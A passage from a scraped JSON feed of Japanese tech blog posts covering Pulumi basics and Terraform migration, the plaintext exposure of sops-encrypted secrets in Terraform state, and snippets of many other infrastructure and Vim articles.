logoutpulumi loign --localProjectの作成pulumi new コマンドで新しいProjectを作成できます。同時にStackも作成されます。引数にテンプレートを指定できます。ウィザード形式で設定をすることができます。以下の例は awsプロバイダーを使用して、言語はTypeScriptを使用するテンプレートとなります。ディレクトリ内にはPulumi実行に必要な各種ファイルが生成されます。ここで見るべきは以下の3ファイルです。Pulumi.yamlプロジェクト設定Pulumi.dev.yamlStack(dev)設定index.tsリソース定義# Pulumi.yamlname: sampleruntime: nodejsdescription: A minimal AWS TypeScript Pulumi program# Pulumi.dev.yamlconfig:aws:region: us-east-1// index.tsimport * as pulumi from \\"@pulumi/pulumi\\";import * as aws from \\"@pulumi/aws\\";import * as awsx from \\"@pulumi/awsx\\";// Create an AWS resource (S3 Bucket)const bucket = new aws.s3.Bucket(\\"my-bucket\\");// Export the name of the bucketexport const bucketName = bucket.id;変更を確認plumi preview コマンドでStackの変更差分を確認できます。 terraform plan を似ていますが、こちらは差分の詳細は表示されません。Stackデプロイpulumi up コマンドでStackをデプロイできます。 terraform plan と terraform apply を組み合わせた挙動になります。実行すると選択肢が出ます。details を選択すると変更差分の詳細が表示されます。yesを選択すると、変更が適用されます。リソース削除pulumi destroy でStackを削除できます。pulumi up と同じようにdetailsで詳細表示、 yes で削除実行ができますstate操作PulumiではStackごとにStateが保存されています。Stateを操作するコマンドは以下のとおりです。state出力(terraform state pull 相当 )pulumi stack exportstate インポート(terraform import相当)pululmi import state 削除(terraform state rm 相当)pulumi state delete Terraformからの移行Terraformからの移行オプションは以下の通りとなります。terraformとPulumiを共存するPulumiからtfstateを参照するtfstateからリソースをPulumiへインポートするTerraformのコードをPulumiのコードに変換する参考: Adopting Pulumi | Pulumi Docs参考: Migrating from Terraform | Pulumi DocsTerraformとPulumiを共存する(tfstateを参照)networkリソースに関しては既存のterraformを使いつつ、そのoutputをPulumiで使うイメージになります。以下のようなコードでlocalのtfstateが参照できるので、値を参照して利用することができます。import * as aws from \\"@pulumi/aws\\";import * as terraform from \\"@pulumi/terraform\\";// Reference the Terraform state file:const networkState = new terraform.state.RemoteStateReference(\\"network\\", { backendType: \\"local\\", path: \\"/path/to/terraform.tfstate\\",});// Read the VPC and subnet IDs into variables:const vpcId = networkState.getOutput(\\"vpc_id\\");const publicSubnetIds = networkState.getOutput(\\"public_subnet_ids\\");// Now spin up servers in the first two subnets:for (let i = 0; i < 2; i++) { new aws.ec2.Instance(`instance-${i}`, { ami: \\"ami-7172b611\\", instanceType: \\"t2.medium\\", subnetId: publicSubnetIds[i], });}tfstateからインポートpulumi import --from terraform ./terraform.tfstate のようにすることによってtfstateからリソースをインポートすることができます。terraformからコード変換pulumi convert --from terraform コマンドを使用することで、既存のTerraformのコードをPulumiのコードに変換することができます。ただし、変換できないコードはTODOコメントが付く。90%~95%は変換が対応しているとのこと。pulumi convert --from terraform --language typescriptまとめPulumiの概要と基本操作をTerraformと対比しながら説明してきました。新規プロジェクトである程度複雑な処理をしたい。プログラミング言語に精通している人がメンバーにいる。そういった場合にはPulumiは良さそうに思えます。しかしながら、ある程度Terraformで出来上がっているプロジェクトをPulumiに移行するのはそれなりに大変なので、プロジェクトの規模感とコストに見合うかを考えて導入するか考えると良いでしょう。また、複雑なことをしたいというのは、本当に必要とされていることなのでしょうか?冗長でも簡易的な書き方をした方が望ましい場合もあるかと思います。そのあたりの目利きをちゃんと考えたいところです。自分自身まだまだ使いこなせていないですし、追いきれてないPulumiのトピックもあるので、今後も選択肢の一つとして調べていきたいところです。","isoDate":"2023-12-15T15:00:00.000Z","dateMiliSeconds":1702652400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"sbt-github-acitons を使った CI の構築とプロジェクトの publish について","link":"https://zenn.dev/nomadblacky/articles/4c6a03aa5289c4","contentSnippet":"この記事は Scala Advent Calendar 2023 15日目 の記事です。 導入Scala プロジェクトを GitHub で開発する際には GitHub Actions を使用して CI を構築することが多いと思います。また、ライブラリの開発の場合は Maven Central に publish することも考えたいです。しかし、プロジェクトそれぞれに対応した GitHub Actions を構築するのは専門知識も必要で手間のかかる作業です。今回は sbt-github-actions という sbt プラグインを使用して、Scala プロジェクトの CI と ...","isoDate":"2023-12-15T03:00:00.000Z","dateMiliSeconds":1702609200000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"VPC エンドポイントポリシーで S3 バケットを制限する際の落とし穴","link":"https://zenn.dev/toshikish/articles/e846fa0c3de10f","contentSnippet":"状況設定AWS の VPC エンドポイントポリシーで VPC 内部から Amazon S3 バケットへのアクセスを制限するために,以下のようなエンドポイントポリシーを設定するとします。s3-vpc-endpoint-policy.json{ \\"Version\\": \\"2012-10-17\\", \\"Statement\\": [ { \\"Effect\\": \\"Allow\\", \\"Principal\\": \\"*\\", \\"Action\\": \\"s3:*\\", \\"Resource...","isoDate":"2023-12-14T22:00:00.000Z","dateMiliSeconds":1702591200000,"authorName":"toshikish","authorId":"toshikish"},{"title":"拝啓、CSSでドット絵を描きたくなったあの日(数週間前)の自分へ","link":"https://zenn.dev/nedoko_dok0dko/articles/c00b941f10501f","contentSnippet":"※ 3-shake Advent Calendar 2023の15日目のエントリー記事です。※ 12/21追記: CSS Advent Calendar 2023の21日目のエントリー記事として追加しました。投稿期間とズレてしまっていますが、CSSアドベントカレンダー盛り上がりの一助になればと思います。今年は数年離れていたデータエンジニアを再スタートし、データ基盤構築やGoogleCloudのProfessional試験を受けて合格したり…とテッキーな事に触れることが多い年でした。最近はDBやSRE領域に触れる機会もあり、自分の知識不足に凹みながらも「今は学ぶ時期だ」と1つずつ知識...","isoDate":"2023-12-14T15:31:58.000Z","dateMiliSeconds":1702567918000,"authorName":"seno","authorId":"seno"},{"title":"Karpenter を Amazon EKS で使う","link":"https://sreake.com/blog/karpenter-with-amazon-eks/","contentSnippet":"はじめに Kubernetes のノードのオートスケーラーである Karpenter は,Amazon EKS クラスタでの利用を中心に普及しつつあります。 Karpenter を調べてみた・使ってみた系記事はたくさんあ […]The post Karpenter を Amazon EKS で使う first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-14T05:17:05.000Z","dateMiliSeconds":1702531025000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Partner Top Engineer 2024 になりました","link":"https://sreake.com/blog/earn-google-cloud-partner-top-engineer-2024/","contentSnippet":"はじめに 今回、ありがたいことに、 Google Cloud Partner Top Engineer 2024(以降PTE)になりましたのでその軌跡をまとめます。 コチラの資料によって PTE になりたい人が増えてくれ […]The post Google Cloud Partner Top Engineer 2024 になりました first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-14T05:15:38.000Z","dateMiliSeconds":1702530938000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWS Fault Injection Service で EKS の障害テストを行う","link":"https://zenn.dev/kyohei_saito/articles/6d1bcc1fe8610e","contentSnippet":"この記事は 3-shake Advent Calendar 2023 14 日目の記事です! この記事に書いてあることこの記事では、AWS Fault Injection Service をつかって、EKS 上の Pod の障害テストを行う方法を説明します。この記事を書こうと思ったモチベーションとして、EKS 上のアプリケーションで障害テストをするために AWS Fault Injection Service (以降、「FIS」と記載します) を使用しようとしたところ、導入手順がいまいち分からなかったため、残しておこうと思ったためです。EC2 に障害を注入する場合は導入手順はシ...","isoDate":"2023-12-13T22:22:00.000Z","dateMiliSeconds":1702506120000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"[Kubernetes 1.27] Pod 停止時のフェーズ遷移の変更","link":"https://zenn.dev/toversus/articles/88ce2ea66b532d","contentSnippet":"Kubernetes 1.27 で KEP-3329: Retriable and non-retriable Pod failures for Jobs の一部として実装された [k/k#115331]: Give terminal phase correctly to all pods that will not be restarted により、Pod 停止時のフェーズが Running から Succeeded か Failed に遷移するようになりました。しかし、この変更が以下の予期せぬ問題を引き起こすことになります。[k/k#117018]: daemonset stuc...","isoDate":"2023-12-13T00:43:43.000Z","dateMiliSeconds":1702428223000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"telescope.nvimによるjumplistをちょっと便利にするテク","link":"https://blog.atusy.net/2023/12/12/telescope-jump-list/","contentSnippet":"Vimアドベントカレンダー12/10の記事です。Omochiceさんによる「使っているvimプラグインの棚卸し(2023冬)」KaitoMuraokaさんによる「初心者向けに何か」(2023/12/23 9:54時点で未投稿)TelescopeはNeovimにおけるFuzzy Finderのデファクトの座を勝ち取っていると思います。便利な一方、痒いところに手を出すと途端に難解でundocumentedなAPIに手を出す羽目になります……。","isoDate":"2023-12-12T00:00:00.000Z","dateMiliSeconds":1702339200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Helmfile でちょっとしたリソースを追加したい","link":"https://zenn.dev/toshikish/articles/5ead548816e618","contentSnippet":"動機Helmfile で公式のチャートをインストールしていて,追加で関連リソースを追加したいことがあります。関連リソースの数が多い,内容が環境によって変わるなどの場合は,カスタムチャートを追加することになるでしょう。ただ,そこまで複雑ではない,関連リソースが数個レベルの場合,カスタムチャートだと大げさに感じることがあります。そこでどうすべきか迷っていたところ,同僚の toVersus さんに別の方法を教えていただきました。 extraTemplates 系の変数を使うHelm チャートによっては extraTemplates や extraObjects といった変数が...","isoDate":"2023-12-11T10:57:21.000Z","dateMiliSeconds":1702292241000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Amazon S3 バケットの terraform destroy に注意","link":"https://zenn.dev/toshikish/articles/190fe076cc63f4","contentSnippet":"TL;DRAmazon S3 バケットを削除する前には,必ずすべてのオブジェクトを削除しよう。aws_s3_bucket リソースの force_destroy 引数 を true にしてもよい。terraform destroy で削除すると,パブリックアクセスできる旨のアラートが出る場合があるので注意しよう。aws_s3_bucket_public_access_block リソースを terraform state rm するとアラートが出ない。マネジメントコンソールから削除してもアラートは出ない。 S3 バケットの terraform dest...","isoDate":"2023-12-11T09:03:06.000Z","dateMiliSeconds":1702285386000,"authorName":"toshikish","authorId":"toshikish"},{"title":"sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメント","link":"https://zenn.dev/nnaka2992/articles/blue_grean_on_postgres_with_sqldeff_and_pgroll","contentSnippet":"この記事はこのエントリー以下のアドベントカレンダーの11日目の記事です。3-shake Advent Calendar 2023昨日はtoyb0xによるTODOコメントをチケット管理するためのESLint Custom Ruleでした。PostgreSQL Advent Calendar 2023昨日は@ozozatyによるPostgreSQLのjsonb型でJSONパス式(JSONPath)を使うでした。 はじめにPostgreSQLではDDLはその性質からテーブルレベルでロックを取得してしまいます。SREやPlatform EngineeringなどDev...","isoDate":"2023-12-10T23:30:00.000Z","dateMiliSeconds":1702251000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitLab CIでKICSを実行する","link":"https://zenn.dev/tayusa/articles/d28865c5ce49c6","contentSnippet":"やることTerraformの静的解析を行うKICSの結果をgitlab-commentでMRに出力するhttps://github.com/yuyaban/gitlab-commentKICSの結果を基にMRにReviewdogで指摘するhttps://github.com/reviewdog/reviewdog KICSの実行$ kics scan --config kics.yamlkics.yamlpath: \\".\\" # 解析するTerraformの場所output-path: \\".\\" # 結果の出力先report-formats:...","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Golangでk8s Deploymentを再起動させる","link":"https://zenn.dev/tayusa/articles/a7df40b7d6fd5b","contentSnippet":"やることclient-goを使って複数のDeploymentを同時に再起動させる Golang Deploymentの取得Pod内であればrest.InClusterConfig()でPodのServiceAccountを使用するconfigを取得できるclientset.AppsV1().Deployments(namespace).Get(ctx, deploymentName, metav1.GetOptions{}) でDeploymentを取得NamespaceとDeploymentの名前が必要k8s.gopackage maini...","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"denops製VimプラグインでDenoのバージョンとキャッシュ位置を固定する","link":"https://blog.atusy.net/2023/12/10/denops-cache/","contentSnippet":"Vimアドベントカレンダー12/10の記事です。nil2さんによる「Vimのデフォルトキーマップをどのように上書きするか(ノーマルモード)」atusyによる「VimでgfしたらURLをブラウザで開く」さて本題。denops.vimというプラグイン開発エコシステムがあります。denops.vim は JavaScript/TypeScript のランタイムである Deno を利用して Vim/Neovim 双方で動作するプラグインを作るためのエコシステムです。https://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9","isoDate":"2023-12-10T00:00:00.000Z","dateMiliSeconds":1702166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TypeScript で LangChain の最初の一歩","link":"https://zenn.dev/satohjohn/articles/9415f85be332e6","contentSnippet":"このエントリーは 3-shake Advent Calendar 2023 の10日目の記事です。今年は Python をガッツリ触ったり、 LLM などの方面に手を出してきており、新しいことにまみれております。その中で LLM のシステム作るんだったら Python だろ?っていう中で TypeScript でもちゃんとできるよーっていうことで紹介していきたいと思います。 私が、あんまり Python でアプリ作っていくのが好きじゃないのもありますもちろん、 Python よりも TypeScript のほうが機能が少なめではありますので、そのあたりは、目をつぶっております。今...","isoDate":"2023-12-09T15:00:00.000Z","dateMiliSeconds":1702134000000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Mastering Bitcoin Third Editionの紹介","link":"https://speakerdeck.com/shukob/mastering-bitcoin-third-editionnoshao-jie","contentSnippet":"https://cryptocurrency.connpass.com/event/303416/\\r2023年12月9日(土)ビットコインとか忘年会のLTで、同年11月に出版されたMastering Bitcoin Third Editionの紹介をしました。","isoDate":"2023-12-09T05:00:00.000Z","dateMiliSeconds":1702098000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"VimでgfしたらURLをブラウザで開く","link":"https://blog.atusy.net/2023/12/09/gf-open-url/","contentSnippet":"Vimアドベントカレンダー12/9の記事です。NI57721さんによる「長文丸暗記用のVimプラグインを作った話」yasunori0418さんによる「ヘルプから始めるddu」gfはいいぞgfコマンド、便利ですよね。gfと入力すると、そのファイルをバッファに開いてくれます。","isoDate":"2023-12-09T00:00:00.000Z","dateMiliSeconds":1702080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"今よりちょっとだけ上手く文章を書くコツ","link":"https://qiita.com/kojake_300/items/c5def031a252323fae1c","contentSnippet":"この記事は、3-shake Advent Calendar 2023 9日目のエントリ記事です。技術的な話ではありませんはじめに国語がとても苦手だった私は、社会人になったときに日本語力の無さに…","isoDate":"2023-12-08T22:01:43.000Z","dateMiliSeconds":1702072903000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Terraformのsopsプロバイダーを使用するだけで機密情報は守られるのか","link":"https://blog.masasuzu.net/entry/2023/12/09/014230","contentSnippet":"qiita.comこの記事は、3-shake Advent Calendar 2023の9日目の記事となります。sops プロバイダーとは本当に安心?ドキュメントを調べる挙動を実験する結論ワークアラウンドsops プロバイダーとはcarlpett/terraform-provider-sops: A Terraform provider for reading Mozilla sops filesDocs overview | carlpett/sops | Terraform | Terraform RegistrysopsプロバイダーはMozilla sopsを使用して暗号化されたファイルから機密情報を取り出して、terraform上で使用できるようにしたものです。暗号化の鍵をAWS KMS等を使うことにより、KMSキーを使う権限を持つ人だけ機密情報にアクセスできるようにするものです。sopsで機密情報を暗号化することにより、平文で機密情報をgitレポジトリに保存することがなくなり安全ということになります。機密情報を管理したい。でも平文では保存したくない。そういう用途にこちらは使用されます。本当に安心?SOPSを使って機密情報を暗号化することによりgitレポジトリには機密情報が平文で残らない。これで安心と言われていますが、よく考えると機密情報をterraform実行時にはリソースに対して平文で与えているはずです。つまり、tfstate上は機密情報が平文で保存されています。例えば、tfstateがS3に保存されているとして、KMSキーへの権限がない人でもS3バケットにアクセスする権限があれば、平文の機密情報が見れてしまいます。あまりないと思いますが、tfstateをlocalに保存するようにしていてそれをgit管理していてらなんのために暗号化しているのか。。。。ということになります。こう考えると組織のポリシーによるが、sopsプロバイダーによる暗号化では不十分ではないかという疑問が生まれます。ドキュメントを調べるまずプロバイダードキュメントを当たってみます。Docs overview | carlpett/sops | Terraform | Terraform RegistryTo prevent plaintext secrets from being written to disk, you\xa0must\xa0use a secure remote state backend. See the\xa0official docs\xa0on\xa0Sensitive Data in State\xa0for more information.これが意味してるのはバックエンドをlocalにした場合平文で機密情報が書かれるので、安全なリモートバックエンドを利用すべきということだと思います。State: Sensitive Data | Terraform | HashiCorp Developer参照しろと言われたドキュメントの該当部分を読んでみましょう。ローカルディスクにtfstateを保存した場合は、機密情報が平文で保存されます。リモートにtfstateを保存する場合、保存時に暗号化されるかはバックエンドに依存します。基本的にリモートステートを使うことを推奨しています。例えば、Terraform Cloudを使う場合、tfstateは暗号化され、転送時もTLSで暗号化されます。S3を使う場合もSSE-S3やSSE-KMS等でサーバサイド暗号化を有効にしておくことで、保管時の暗号化がされます。バケットポリシーでHTTPSを強制することで通信時の暗号化も保証することができます。参考: 暗号化によるデータの保護 - Amazon Simple Storage Service参考: Amazon S3 のセキュリティのベストプラクティス - Amazon Simple Storage Serviceところがですね。保存時、通信時の暗号化をしても、terraform state pullすると平文でtfstateが手に入ってしまうんですよ。。。後述します。挙動を実験する以下のような設定ファイルを作ります。sopsで暗号化したdb_userとdb_passwordをパラメータストアに設定するものになります。tools-versionsterraform 1.5.5sops 3.7.3main.tfterraform { required_version = \\"~> 1.5.5\\" required_providers { aws = { source = \\"hashicorp/aws\\" version = \\"~> 5.15\\" } sops = { source = \\"carlpett/sops\\" version = \\"~> 0.7.2\\" } } backend \\"s3\\" { region = \\"ap-northeast-1\\" bucket = \\"xxxxxxxxxx\\" key = \\"test.tfstate\\" }}provider \\"sops\\" {}provider \\"aws\\" { region = \\"ap-northeast-1\\"}data \\"sops_file\\" \\"secrets\\" { source_file = \\"secrets.yaml\\"}resource \\"aws_ssm_parameter\\" \\"db_user\\" { type = \\"String\\" name = \\"/test/db_user\\" value = data.sops_file.secrets.data.db_user}resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = data.sops_file.secrets.data.db_password}暗号化前の secrets.yamldb_user: userdb_password: passwordapply結果がこちらとなります。terraform apply% export SOPS_KMS_ARN=arn:aws:kms:ap-northeast-1:xxxxxxxxx:key/yyyyyyyyyyyyyyyyyy% terraform applydata.sops_file.secrets: Reading...data.sops_file.secrets: Read complete after 1s [id=-]Terraform used the selected providers to generate the following execution plan. Resource actions areindicated with the following symbols: + createTerraform will perform the following actions: # aws_ssm_parameter.db_password will be created + resource \\"aws_ssm_parameter\\" \\"db_password\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_password\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"SecureString\\" + value = (sensitive value) + version = (known after apply) } # aws_ssm_parameter.db_user will be created + resource \\"aws_ssm_parameter\\" \\"db_user\\" { + arn = (known after apply) + data_type = (known after apply) + id = (known after apply) + insecure_value = (known after apply) + key_id = (known after apply) + name = \\"/test/db_user\\" + tags_all = (known after apply) + tier = (known after apply) + type = \\"String\\" + value = (sensitive value) + version = (known after apply) }Plan: 2 to add, 0 to change, 0 to destroy.Do you want to perform these actions? Terraform will perform the actions described above. Only \'yes\' will be accepted to approve. Enter a value: yesaws_ssm_parameter.db_password: Creating...aws_ssm_parameter.db_user: Creating...aws_ssm_parameter.db_user: Creation complete after 0s [id=/test/db_user]aws_ssm_parameter.db_password: Creation complete after 0s [id=/test/db_password]Apply complete! Resources: 2 added, 0 changed, 0 destroyed.terraform apply 8.91s user 0.78s system 124% cpu 7.811 totalstate showするとパラメータストアなのでsensitive扱いになっていて、見れません。これはいけるか?terraform state show% terraform state show aws_ssm_parameter.db_password# aws_ssm_parameter.db_password:resource \\"aws_ssm_parameter\\" \\"db_password\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\" data_type = \\"text\\" id = \\"/test/db_password\\" key_id = \\"alias/aws/ssm\\" name = \\"/test/db_password\\" tags_all = {} tier = \\"Standard\\" type = \\"SecureString\\" value = (sensitive value) version = 1}% terraform state show aws_ssm_parameter.db_user # aws_ssm_parameter.db_user:resource \\"aws_ssm_parameter\\" \\"db_user\\" { arn = \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_user\\" data_type = \\"text\\" id = \\"/test/db_user\\" name = \\"/test/db_user\\" tags_all = {} tier = \\"Standard\\" type = \\"String\\" value = (sensitive value) version = 1}ここで、terraform state pullをしてみて、tfstateファイルをローカルにダウンロードします。そのtfstateファイルの中の該当部分はこちらとなります。 { \\"mode\\": \\"managed\\", \\"type\\": \\"aws_ssm_parameter\\", \\"name\\": \\"db_password\\", \\"provider\\": \\"provider[\\\\\\"registry.terraform.io/hashicorp/aws\\\\\\"]\\", \\"instances\\": [ { \\"schema_version\\": 0, \\"attributes\\": { \\"allowed_pattern\\": \\"\\", \\"arn\\": \\"arn:aws:ssm:ap-northeast-1:xxxxxxxxx:parameter/test/db_password\\", \\"data_type\\": \\"text\\", \\"description\\": \\"\\", \\"id\\": \\"/test/db_password\\", \\"insecure_value\\": null, \\"key_id\\": \\"alias/aws/ssm\\", \\"name\\": \\"/test/db_password\\", \\"overwrite\\": null, \\"tags\\": null, \\"tags_all\\": {}, \\"tier\\": \\"Standard\\", \\"type\\": \\"SecureString\\", \\"value\\": \\"password\\", \\"version\\": 1 }, \\"sensitive_attributes\\": [ [ { \\"type\\": \\"get_attr\\", \\"value\\": \\"value\\" } ] ], \\"private\\": \\"bnVsbA==\\", \\"dependencies\\": [ \\"data.sops_file.secrets\\" ] } ] },tfstateファイルの中身をよく確認するとしっかり平文で見えています。残念。\\"value\\": \\"password\\",結論sopsプロバイダーを使用することによりgitレポジトリ上に機密情報を平文で保存することはなくなります。しかしながら、tfstateのデータ上では設定値が平文で保存されることを防ぐことはできません。terraform state pullする権限があれば、機密情報が見れてしまいます。運用組織のポリシーで、tfstateへのアクセス権限を適切に権限管理することができるのであれば、選択肢としては取りうります。暗号化のためのKMSキー、tfstateを保存するS3バケットを機密情報をアクセス可能な人のみ権限を与えることが徹底できればよいです。しかしながら、機密情報をいかなる場合でもローカルに平文で保存することが許容されない組織であれば、機密情報は手動で設定することを選択したほうが望ましいと思います。どうしても機密情報をterraformで管理したのであれば、クライアントサイドで暗号化した機密情報をterraformで管理し、アプリ等で使用時にクライアントサイドで復号を行う形も考えられます。安全かどうかは、tfstateの保存場所、tfstateへのアクセス権限、暗号化鍵のアクセス権限それぞれが適切に設定されているかどうかが鍵となります。他に何かうまい方法で機密情報を管理しているという方がいらっしゃれば、ご意見ください。ワークアラウンドこれは自分がよく使う手段となります。リソースの箱だけ作って、作成時にダミーの値を入れておき、実際の値は手動で設定するという手法です。ignore_changesを入れておくことで、手動で値を変更しても、terraform的には差分ができないようにしています。これにより、機密情報をterraformの外に追い出しつつも、機密情報を入れるリソース自体は監理するということが実現できます。resource \\"aws_ssm_parameter\\" \\"db_password\\" { type = \\"SecureString\\" name = \\"/test/db_password\\" value = \\"Dummy\\" lifecycle { ignore_changes = [value] }}","isoDate":"2023-12-08T16:42:30.000Z","dateMiliSeconds":1702053750000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"AlloyDB omni on Kubernetesを眺める","link":"https://zenn.dev/nnaka2992/articles/viewing_alloydb_omni_operator","contentSnippet":"このエントリーは以下のアドベントカレンダーの6日目の記事です。3-shake Advent Calendar 2023 シリーズ1昨日は@bells17さんによるChainguard imagesについて調べてみたでした。PostgreSQL Advent Calendar 2023 シリーズ2Kubernetes Advent Calendar 2023昨日は@yassan168さんによるRKE2ノードのCiliumを使ったeBPFな帯域制限をする話でした。 背景を眺める2023年10月12日にAlloyDB OmniのGAに併せてAlloyDB Omni o...","isoDate":"2023-12-05T23:30:00.000Z","dateMiliSeconds":1701819000000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Chainguard imagesについて調べてみた","link":"https://zenn.dev/bells17/articles/chainguard-images","contentSnippet":"※この記事は3-shake Advent Calendar 2023 シリーズ1の12月5日の記事です最近Chainguard imagesというdistrolessコンテナイメージについて知ったので、簡単に調べてみました。 Chainguard imagesとは?Chainguard imagesはChainguard社によって提供されているdistrolessを中心としたセキュアなコンテナイメージ群だ、という理解です。Wolfiという(おそらくこれもChainguard社が開発している)コンテナ・クラウドネイティブ用途向けのLinux undistroなOSを利用して各C...","isoDate":"2023-12-05T03:58:09.000Z","dateMiliSeconds":1701748689000,"authorName":"bells17","authorId":"bells17"},{"title":"ECSの可用性設計を4つの軸で整理する","link":"https://sreake.com/blog/ecs-availability-4-factors/","contentSnippet":"はじめに こんにちは!Sreake事業部 志羅山です。今年3月に3-shakeに入社し、長野県からリモートで仕事をしています(東京にも定期的に行ってます)。 最近、とあるお客様環境におけるECS(AWSのフルマネージド型 […]The post ECSの可用性設計を4つの軸で整理する first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2023-12-05T02:48:59.000Z","dateMiliSeconds":1701744539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Loggingについて","link":"https://zenn.dev/nedoko_dok0dko/articles/ef07acbb983d01","contentSnippet":"whatGoogle CloudのCloud Loggingについて基本概要など調べたことをまとめる適宜追記予定 Cloud Loggingとはhttps://cloud.google.com/logging/docs/overview?hl=jaGoogleCloud上のシステム等が生成したログを収集・保管・管理するための仕組み。基本的にGoogleCloud上のサービスが出力するログはCloud Loggingへと集められる。収集されたログはログバケットと呼ばれるストレージで保管され、期間が過ぎたら破棄するといった設定を行うことが可能。ログはコンソールのログ...","isoDate":"2023-12-04T11:05:41.000Z","dateMiliSeconds":1701687941000,"authorName":"seno","authorId":"seno"},{"title":"吉祥寺.pm35 でLTしてきました。 #kichijojipm","link":"https://blog.masasuzu.net/entry/2023/12/03/161754","contentSnippet":"吉祥寺.pm こと 句会吉祥寺.pm35 に参加して、LTしてきました。kichijojipm.connpass.com資料はこちら。言いたいこととしてはベストプラクティスなんてないよ。一般的によりよいプラクティスやパターンはあるけど、どんなときには適用できる銀の弾丸的なものはないから、自身の組織とサービスに合わせてくみ上げていきましょうということ。正解はひとつ!じゃない!!その上で、ざっくりとどんな選択肢と選択するための観点を述べていきました。まだ全然ブラッシュアップできるのでどこかでまとめてブログに書きたいところです。ちなみに最後に出てくる あなたらしく○○ は同僚のスライドのパロディです。毎回時間オーバーするのでトークで申し込んだ方が良いのでは?というツッコミはごもっともです。懇親会でもTerraformのお悩みとか短いですが話せて楽しかったです。また参加したいですね。","isoDate":"2023-12-03T07:17:54.000Z","dateMiliSeconds":1701587874000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Auroraアップグレード時のBlue/Green Deploymentsの利用","link":"https://zenn.dev/hakushou41/articles/70b83066cd1741","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 4日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめにAmazon Aurora2系について、標準サポート終了日(2024/10/31)まで1年を切りました。依然として、Aurora2系を利用しているシステムは多いのではないでしょうか。アプリケーションのテストや検証を考えると早めに動いていかなければならない時期となりました。本記事では、アップグレード方式・方針の一つとして、AWSからも推奨されているRDS Blue/Green Deplo...","isoDate":"2023-12-03T07:12:32.000Z","dateMiliSeconds":1701587552000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"Playwright Test generatorを利用したE2Eテスト ことはじめ","link":"https://zenn.dev/hakushou41/articles/65bc815b14354f","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 3日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに現在、私はマイクロサービスを運用するSREを支援する人として活動しています。運用チームやSREが主導となって実施するメンテナンスやアップデート作業などでは、アップデート後の動作確認として、ブラウザを介したWebアプリケーションの簡易目視確認をします。これらの確認項目は、手順書へ項目を記載し、必要に応じてエビデンスをスクリーンショットで取得する必要があります。確認作業を網羅的にしようとす...","isoDate":"2023-12-02T15:00:00.000Z","dateMiliSeconds":1701529200000,"authorName":"Shohei Takamura","authorId":"stakamura"},{"title":"2023-12-01 吉祥寺.pm ベストプラクティスと組織とIaC","link":"https://speakerdeck.com/masasuzu/2022-12-01-ji-xiang-si-dot-pm","contentSnippet":"ベストプラクティスなんてものはない","isoDate":"2023-12-01T05:00:00.000Z","dateMiliSeconds":1701406800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"データベースエンジニアのためのDB on Kubernetes入門ガイド","link":"https://zenn.dev/nnaka2992/articles/db_on_k8s_guide_for_db_engineers","contentSnippet":"このエントリーは3-shake Advent Calendar 2023 1日目の記事です。株式会社スリーシェイクのメンバーが各々自由に技術・非技術ネタを投稿するカレンダーとなります。 はじめに1959年にW. C. McGeeがデータベースという概念を提唱してから約65年、様々なアーキテクチャのデータベースが提案され様々なプラットフォームで利用されてきました。古くはメインフレームを中心に動作していたデータベースは、マイコンブームとともにそのアーキテクチャを変えながらにオープン系システムへと主戦場を移して行きました。オープン系が主流になってからもその進化は止まることなく、ベア...","isoDate":"2023-11-30T23:30:01.000Z","dateMiliSeconds":1701387001000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"データベース輪読会をやってみた話","link":"https://sreake.com/blog/database-reading-circle/","contentSnippet":"はじめに こんにちは。株式会社スリーシェイク Sreake 事業部に所属している @suganamao です。Sreake 事業部は技術力が求められる領域で豊富な経験を持つ SRE の専門家が集まったチームです。事業部に […]The post データベース輪読会をやってみた話 first appeared on sreake.com | 